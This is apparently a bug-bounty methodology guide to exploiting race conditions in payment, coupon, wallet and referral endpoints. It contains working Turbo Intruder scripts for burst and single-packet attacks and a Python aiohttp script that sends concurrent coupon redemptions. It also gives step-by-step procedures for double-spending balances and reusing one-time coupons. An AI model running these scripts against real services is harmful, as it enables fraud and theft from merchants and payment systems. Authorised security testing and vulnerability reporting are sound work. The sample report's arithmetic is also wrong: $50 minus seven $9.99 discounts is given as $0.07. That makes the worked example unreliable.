Race Condition to Financial Impact
Why This Chain Works
Race conditions in financial flows exist because developers write "check then act" logic without locking. The check happens, passes, and before the state update commits, a second (or third, or tenth) request slips through the same check. The result is double-spends, coupon reuse, reward manipulation, or negative balances. The key to a good report here is showing actual monetary loss, not just "theoretically possible."
Related: Race Conditions, Price Manipulation, Burp Suite
Attack Flow
graph TD A[Identify financial operation with a TOCTOU window] --> B{What type of flow?} B -->|Coupon / promo code| C[One-time coupon applied multiple times] B -->|Reward / referral points| D[Points credited multiple times for one action] B -->|Transfer / withdrawal| E[Balance debited once, withdrawal completes multiple times] B -->|Gift card redemption| F[Gift card drained multiple times] B -->|Refund| G[Multiple refunds issued for one purchase] C --> H[Send 20-50 concurrent requests in same session with same coupon] D --> H E --> H F --> H G --> H H --> I{Did any requests slip through?} I -->|Yes| J[Confirm state: check balance, order total, coupon status] J --> K[Calculate actual monetary impact] K --> L[Document: before balance, requests, after balance, delta] L --> M[Report with financial impact quantified] I -->|No| N[Single-packet attack or increase concurrency] N --> H
Finding the Vulnerable Flow
What to Look For
Any operation that:
- Reads a value (balance, coupon status, reward points)
- Validates against a condition (enough balance? coupon unused? eligible for reward?)
- Performs an action (debit, mark coupon used, credit points)
- Writes the updated state back
Steps 2 and 3 create a window. If you can hit step 3 twice before step 4 commits, you win.
Common vulnerable endpoints:
POST /checkout/apply-couponPOST /rewards/redeemPOST /wallet/transferPOST /referral/claimPOST /gifts/redeemPOST /subscription/upgrade(charge once, provision multiple times)POST /contest/enter(limited entries)
Turbo Intruder Setup
Turbo Intruder is the tool for this. The "single-packet attack" sends all requests in a single TCP packet, eliminating network jitter and maximizing the race window.
Basic Race Condition Script
In Burp, right-click the target request, send to Turbo Intruder, and use this script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=20,
pipeline=False)
# Send 20 identical requests in a single packet burst
for i in range(20):
engine.queue(target.req, None)
def handleResponse(req, interesting):
table.add(req)For the single-packet attack (HTTP/2 required):
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=50,
pipeline=False,
engine=Engine.BURP2)
for i in range(50):
engine.queue(target.req, None, gate='race')
engine.openGate('race')
def handleResponse(req, interesting):
table.add(req)The gate parameter holds all requests until openGate is called, then releases them simultaneously.
HTTP/1.1 Last-Byte Sync (when HTTP/2 isn't available)
Send each request but withhold the last byte. Once all are queued, flush them simultaneously:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=1,
pipeline=False)
for i in range(30):
engine.queue(target.req, None, gate='race1')
engine.openGate('race1')Step-by-Step: Coupon Race
Setup
- Create two test accounts if possible (or use one).
- Generate or find a valid one-time coupon code.
- Note your current balance/cart total.
- Prepare the coupon application request in Burp.
Execution
- Intercept
POST /checkout/apply-couponwithcoupon=SAVE20. - Send to Turbo Intruder.
- Run 20-50 concurrent requests with the same coupon code.
- Check: how many returned 200 OK with "coupon applied" vs "coupon already used"?
- Complete the checkout. Did the discount apply more than once?
What to Document
Starting cart total: $100.00
Coupon SAVE20 = 20% off = -$20.00
Expected: coupon applied once, total = $80.00
Race results: 8/20 requests returned 200 "coupon applied"
Actual checkout total: $100 - ($20 * 8) = -$60.00 (credited to account)
Screenshot: Turbo Intruder results (8x 200 OK)
Screenshot: Final order total showing $60 account creditStep-by-Step: Balance Double-Spend
Setup
- Fund a test wallet with $10.
- Prepare a withdrawal/transfer request for $10.
- You want to withdraw $10 twice, ending up with $20 withdrawn from a $10 balance.
Execution
- Capture
POST /wallet/withdrawwithamount=10. - Send 10 concurrent requests simultaneously.
- Check: did the balance go to -$10? Did two withdrawal confirmations arrive?
Red Flags in the Response
If you see the same transaction_id in multiple successful responses, the server processed the same transaction multiple times. If you see different transaction_id values with the same amount, each request created a separate transaction from the same balance read.
Step-by-Step: Referral/Reward Abuse
Normal flow: refer a friend -> friend signs up -> you get 500 points (one time)
Race: trigger the reward endpoint 20 times simultaneously -> receive 500 * N pointsSome reward systems check "has this referral been claimed?" and then credit in the same request, without a lock. Race it.
Turbo Intruder vs. Python vs. Curl
For most cases, Turbo Intruder is superior because it handles HTTP connection management for you. But for some flows (especially those using WebSockets or requiring session setup), a Python script with asyncio and aiohttp gives more control:
import asyncio, aiohttp
async def send_request(session, url, data, headers):
async with session.post(url, data=data, headers=headers) as resp:
return resp.status, await resp.text()
async def race(n=20):
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, 'https://target.com/redeem',
{'coupon': 'SAVE20'},
{'Cookie': 'session=YOUR_SESSION'})
for _ in range(n)]
results = await asyncio.gather(*tasks)
for status, body in results:
print(status, body[:100])
asyncio.run(race())PoC Template for Report
Vulnerability: Race condition in coupon redemption endpoint
Endpoint: POST /api/v1/checkout/coupon
Steps:
1. Added item ($50) to cart
2. Obtained valid coupon "FREESHIP" (free shipping, $9.99 value)
3. Sent 25 concurrent requests to apply coupon using Turbo Intruder single-packet attack
4. Result: 7 requests returned 200 OK with {"applied":true,"discount":9.99}
5. 18 requests returned 400 {"error":"coupon_already_used"}
6. Completed checkout: total showed $50 - ($9.99 * 7) = $0.07
Financial impact: $9.99 * 6 extra = $59.94 obtained per exploit execution
Turbo Intruder script and response log attached.Reporting Notes
Quantify the money. "$X lost per exploit execution" is what makes this a high or critical, not just "race condition exists." Show the before and after balances. Attach the Turbo Intruder results showing multiple 200 OK responses to the same idempotent operation. If you can run it twice to show reproducibility, do that. Note the thread count and timing that triggers it reliably.